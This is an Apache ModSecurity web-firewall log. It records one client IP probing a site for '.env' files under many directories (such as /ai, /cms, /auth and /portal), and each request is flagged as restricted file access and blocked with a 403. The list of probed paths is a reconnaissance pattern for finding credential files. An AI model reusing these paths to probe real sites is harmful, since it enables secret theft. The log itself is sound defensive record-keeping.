[Mon Oct 26 07:29:10.407673 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTAAAABY"]
[Mon Oct 26 07:29:10.407775 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at85hujICF14JuwJz6aCLgAAAA8"]
[Mon Oct 26 07:29:10.407801 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTAAAABY"]
[Mon Oct 26 07:29:10.408046 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at85hujICF14JuwJz6aCLgAAAA8"]
[Mon Oct 26 07:29:10.408055 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTAAAABY"]
[Mon Oct 26 07:29:10.408687 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at85hk3DiqOFJPXX6P42zgAAABM"]
[Mon Oct 26 07:29:10.408810 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at85hk3DiqOFJPXX6P42zgAAABM"]
[Mon Oct 26 07:29:10.409054 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at85hk3DiqOFJPXX6P42zgAAABM"]
[Mon Oct 26 07:29:10.409267 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at85hoAjAiW0BJRhWhrVlwAAAAc"]
[Mon Oct 26 07:29:10.409492 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at85hoAjAiW0BJRhWhrVlwAAAAc"]
[Mon Oct 26 07:29:10.409781 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at85hoAjAiW0BJRhWhrVlwAAAAc"]
[Mon Oct 26 07:29:10.410590 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at85ht-fnwNv3Luhiy4YRwAAAAE"]
[Mon Oct 26 07:29:10.410725 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at85ht-fnwNv3Luhiy4YRwAAAAE"]
[Mon Oct 26 07:29:10.411013 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at85ht-fnwNv3Luhiy4YRwAAAAE"]
[Mon Oct 26 07:29:10.412083 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at85hnFRwTfT0KsFZ4erpAAAAA0"]
[Mon Oct 26 07:29:10.412284 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at85hnFRwTfT0KsFZ4erpAAAAA0"]
[Mon Oct 26 07:29:10.412490 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at85hnFRwTfT0KsFZ4erpAAAAA0"]
[Mon Oct 26 07:29:10.421145 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHgAAAAI"]
[Mon Oct 26 07:29:10.421301 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHgAAAAI"]
[Mon Oct 26 07:29:10.421542 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at85hj2qIoRfAL3Hx22jHgAAAAI"]
[Mon Oct 26 07:29:10.473329 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at85hgbLerFfv4dhcWT1AQAAAAY"]
[Mon Oct 26 07:29:10.473625 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at85hgbLerFfv4dhcWT1AQAAAAY"]
[Mon Oct 26 07:29:10.474024 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at85hgbLerFfv4dhcWT1AQAAAAY"]
[Mon Oct 26 07:29:10.474739 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at85hvAWpsgTeulbP5bFFAAAABI"]
[Mon Oct 26 07:29:10.474988 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at85hvAWpsgTeulbP5bFFAAAABI"]
[Mon Oct 26 07:29:10.475300 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at85hvAWpsgTeulbP5bFFAAAABI"]
[Mon Oct 26 07:29:10.476831 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTQAAABY"]
[Mon Oct 26 07:29:10.477049 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTQAAABY"]
[Mon Oct 26 07:29:10.477221 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at85hk3DiqOFJPXX6P42zwAAABM"]
[Mon Oct 26 07:29:10.477281 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTQAAABY"]
[Mon Oct 26 07:29:10.477367 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at85hk3DiqOFJPXX6P42zwAAABM"]
[Mon Oct 26 07:29:10.477607 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at85hk3DiqOFJPXX6P42zwAAABM"]
[Mon Oct 26 07:29:10.478310 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at85hujICF14JuwJz6aCLwAAAA8"]
[Mon Oct 26 07:29:10.478467 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at85hujICF14JuwJz6aCLwAAAA8"]
[Mon Oct 26 07:29:10.478697 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at85hujICF14JuwJz6aCLwAAAA8"]
[Mon Oct 26 07:29:10.480033 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at85hoAjAiW0BJRhWhrVmAAAAAc"]
[Mon Oct 26 07:29:10.480183 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at85hoAjAiW0BJRhWhrVmAAAAAc"]
[Mon Oct 26 07:29:10.480427 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at85hoAjAiW0BJRhWhrVmAAAAAc"]
[Mon Oct 26 07:29:10.483104 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at85hn3wwcXP35BsOaDu2AAAAAw"]
[Mon Oct 26 07:29:10.483275 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at85hn3wwcXP35BsOaDu2AAAAAw"]
